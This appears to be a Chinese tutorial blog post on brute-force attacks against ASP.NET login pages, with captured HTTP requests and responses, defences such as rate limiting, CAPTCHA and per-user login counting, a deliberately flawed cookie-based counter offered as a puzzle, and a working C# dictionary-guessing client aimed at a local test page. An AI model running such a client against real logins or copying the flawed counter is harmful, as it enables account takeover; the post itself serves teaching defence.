zoukankan      html  css  js  c++  java
  • Asp.net安全架构之4:Brute force(爆破)

    原理

    爆破是对系统的登录入口发起不间断的请求,达到暴力破解的目的。

    实际案例

    某系统存在爆破攻击点,只要模拟以下攻击,就能采用字典破解法,根据分析发现,只要返回状态为302的,为用户名密码正确,也就是被爆破了,状态为200的,为用户名密码错误。

    在攻击的过程中,我们只要准备好字典,就能顺利实现爆破。像用户名为luminji,密码为123456这样的用户很容易就会被爆破掉。

    请求:

    POST /sso/ValidateUser.aspx HTTP/1.1

    User-Agent: Fiddler

    Accept-Language: zh-CN

    Content-Type: application/x-www-form-urlencoded

    Accept-Encoding: gzip, deflate

    Host: 192.168.40.193

    Content-Length: 37

     

    loginId=luminji&password=123456 

    以下是成功爆破的返回:

    HTTP/1.1 302 Found

    Cache-Control: private

    Content-Length: 151

    Content-Type: text/html; charset=utf-8

    Location: http://192.168.40.193/portal/pages

    Server: Microsoft-IIS/7.5

    X-AspNet-Version: 2.0.50727

    Set-Cookie: ASP.NET_SessionId=spycdd55b1cph0iohogufq55; path=/; HttpOnly

    X-Powered-By: ASP.NET

    Date: Mon, 07 May 2012 01:25:50 GMT

     

    <html><head><title>Object moved</title></head><body>

    <h2>Object moved to <a href="http://192.168.40.193/portal/pages">here</a>.</h2>

    </body></html>

    以下是失败的返回:

    HTTP/1.1 200 OK

    Cache-Control: private

    Transfer-Encoding: chunked

    Content-Type: text/html; charset=utf-8

    Content-Encoding: gzip

    Vary: Accept-Encoding

    Server: Microsoft-IIS/7.5

    X-AspNet-Version: 2.0.50727

    Set-Cookie: ASP.NET_SessionId=zxomk255e3115245tpqi3k45; path=/; HttpOnly

    X-Powered-By: ASP.NET

    Date: Mon, 07 May 2012 01:26:01 GMT

     

    8a0

    _�_

    应对措施

    一种思路是:定位客户端,限制客户端的请求频率。一般来说,通过两个途径可确定某个客户端,IP地址和Cookie。但是,这种方式一般来说也是被攻破的,比如使用AccessDriver这样的工具就可以更换IP地址,同时,再清空cookie就可以做到。

    其次,使用验证码。这是一种非常有效的措施,但是一定程度上降低了用户体验。

    Mads Kristensen提到了另一种方法是限制每个用户的登录次数,代码如下:

            protected void ButtonLogin_Click(object sender, EventArgs e)
            {
                string loginName = "luminji";
                if (AddAndGetLoginCount(loginName) > 5)
                {
                    //block
                }
                else
                {
                    if (CheckLogin(loginName) == true)
                    {
                        ClearLoginCount(loginName);
                    }
                }
            }
    
            //只适用于单机,如果是集群,需要分布式缓存
            int AddAndGetLoginCount(string userNanme)
            {
                if (Cache[userNanme] == null)
                {
                    Cache.Insert("luminji", 1, null,
                        System.Web.Caching.Cache.NoAbsoluteExpiration, TimeSpan.FromSeconds(10));
                    return 1;
                }
                else
                {
                    int count = (int)Cache[userNanme] + 1;
                    Cache[userNanme] = count;
                    return count;
                }
            }
    
            void ClearLoginCount(string userName)
            {
                if (Cache[userName] != null)
                {
                    Cache.Remove(userName);
                }
            }
    
            private bool CheckLogin(string loginName)
            {
                throw new NotImplementedException();
            }

    这里还有一种方法,它看上去是正确的,但是有人一眼就看出来在其貌似能正确防范爆破下的本质错误,不知道你是否能察觉。这段代码的大致思路是:

    将访问次数保存在cookie中,然后根据cookie保存的值来限制访问次序。保存在cookie中的值(该值所表达的意义是:谁在某个时间段内访问了几次),需要进行加密处理,只有这样,才能保证不让客户端进行模拟。全部代码实现,请参看代码:

            protected void ButtonLogin_Click(object sender, EventArgs e)
            {
                HttpCookie cookieGet = Request.Cookies.Get("btcookie");
                if (cookieGet == null)
                {
                    SendBFCookieToClientAndRedirect();
                }
                else
                {
                    ReceiveBFCookieAndCheckLogin(cookieGet);
                }
            }
    
            private void ReceiveBFCookieAndCheckLogin(HttpCookie cookieGet)
            {
                string loginName = "luminji";
                BruteForce bf = PreAnalyCookieGet(cookieGet);
    
                if (DateTime.Parse(bf.ExpireTime) > DateTime.Now)
                {
                    if (int.Parse(bf.LoginCount) > 5)
                    {
                        Block();
                    }
                    else
                    {
                        GoAndCheckAndUpdateCount(cookieGet, loginName, bf);
                    }
                }
                else
                {
                    GoAndCheckAndUpdateExpiretime(cookieGet, loginName);
                }
            }
    
            private BruteForce PreAnalyCookieGet(HttpCookie cookieGet)
            {
                Response.Write(string.Format("get{0}<br/>", Session.SessionID));
                Response.Write(string.Format("get Cookie:{0}<br/>", cookieGet.Value));
                Response.Write(string.Format("Now:{0}", DateTime.Now));
                var bfarr = cookieGet.Value.Split('|');
                return new BruteForce(bfarr[0], bfarr[1], bfarr[2]);
            }
    
            private void GoAndCheckAndUpdateCount(HttpCookie cookieGet, string loginName, BruteForce bf)
            {
                CheckLogin(loginName);
                cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}",
                    int.Parse(bf.LoginCount) + 1,
                    Session.SessionID,
                    bf.ExpireTime));
                Response.Cookies.Add(cookieGet);
            }
    
            private void Block()
            {
                Response.Write("block");
            }
    
            private void GoAndCheckAndUpdateExpiretime(HttpCookie cookieGet, string loginName)
            {
                CheckLogin(loginName);
                cookieGet.Value = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}",
                    1,
                    Session.SessionID,
                    DateTime.Now.AddSeconds(10)));
                Response.Cookies.Add(cookieGet);
            }
    
            private void SendBFCookieToClientAndRedirect()
            {
                Response.Write(string.Format("set{0}<br/>", Session.SessionID));
                string str = EncryptBruteForceCookie(string.Format("{0}|{1}|{2}",
                    1,
                    Session.SessionID,
                    DateTime.Now.AddSeconds(10)));
                Session["btcookiesession"] = str;
                HttpCookie cookieSet = new HttpCookie("btcookie", str);
                cookieSet.HttpOnly = true;
                Response.Cookies.Add(cookieSet);
                //Redirect To real login page
            }
    
            private string EncryptBruteForceCookie(string cookie)
            {
                //encrypt cookie
                return cookie;
            }
    
            private string DecrpytBruteForceCooke(string cookie)
            {
                //encrypt cookie
                return cookie;
            }
    
            class BruteForce
            {
                public BruteForce(string loginCount, string sessionID, string expireTime)
                {
                    LoginCount = loginCount;
                    SessionID = sessionID;
                    ExpireTime = expireTime;
                }
                public string LoginCount;
                public string SessionID;
                public string ExpireTime;
            }

    爆破的实施

    假设要爆破的登录处的逻辑如下:

            protected void btnLogin_Click(object sender, EventArgs e)
            {
                if (this.txtUserName.Text == "xjm" && 
                    this.txtUserPassword.Text == "123")
                {
                    //this.Session["UserName"] = this.txtUserName.Text;
                    Response.Redirect("Home.aspx");
                }
                else
                {
                    Response.Write("login denied!");
                }
            }

    PS:一般来说,爆破就是模拟发送请求,C#代码如下:

            string httpBase = @"http://localhost:50097";
            List<string> keyDict = new List<string>()
                {
                    "1",
                    "12",
                    "123",
                    "a",
                    "ab"
                };
    
            private void button2_Click(object sender, EventArgs e)
            {
                bool isOk = false;
                foreach (string key in keyDict)
                {
                    var request = InitRequest();
                    SetRequestContent(request, key);
                    if (isOk = GetResponseAndLoginSuccess(request))
                    {
                        break;
                    }
                }
    
                if (isOk)
                {
                    MessageBox.Show("login success.");
                }
                else
                {
                    MessageBox.Show("failed!");
                }
            }
    
            private void SetRequestContent(WebRequest request, string key)
            {
                //todo  1:should get login.aspx first, and get the viewstat
                //      2:then we can build this content
                string content = string.Format("__VIEWSTATE=%2FwEPDwULLTE1MzQ2NDY3MzVkZApspc7%2FtLNG1qzHEYJFvpuzy5P8&__EVENTVALIDATION=%2FwEWBAK7qPiwDQKl1bKzCQK9wKW7DAKC3IeGDBjXR%2FPy4G7lFRtaemefnygkRltT&txtUserName=xjm&txtUserPassword={0}&btnLogin=Button",
                    key);
                request.ContentLength = content.Length;
                byte[] bytes = Encoding.UTF8.GetBytes(content);
                using (Stream requestStream = request.GetRequestStream())
                {
                    requestStream.Write(bytes, 0, bytes.Length);
                    requestStream.Flush();
                }
            }
    
            private bool GetResponseAndLoginSuccess(WebRequest request)
            {
                var response = request.GetResponse();
                using (Stream stream = response.GetResponseStream())
                using (StreamReader reader = new StreamReader(stream))
                {
                    if (response.ResponseUri.ToString().IndexOf(httpBase+ @"/Home.aspx") > -1)
                    {
                        var context = reader.ReadToEnd();
                        context += "<br/>hacked by luminji!";
                        webBrowser1.DocumentText = context;
                        return true;
                    }
                }
                return false;
            }
    
            private WebRequest InitRequest()
            {
                string url = httpBase + @"/login.aspx";
                var request = HttpWebRequest.Create(url);
                request.ContentType = "application/x-www-form-urlencoded";
                request.Method = "POST";
                return request;
            }
  • 相关阅读:
    正交相机下实现滚轮按钮拖动,滚动滚轮缩放的功能
    C#标记 [已弃用] 的方法
    JDBC-Mybatis-Hibernate
    Data Structures and Algorithm Analysis in Java
    Maven
    Java面试
    Bootstrap
    CSS3
    HTML5
    JSON
  • 原文地址:https://www.cnblogs.com/luminji/p/2531052.html
Copyright © 2011-2022 走看看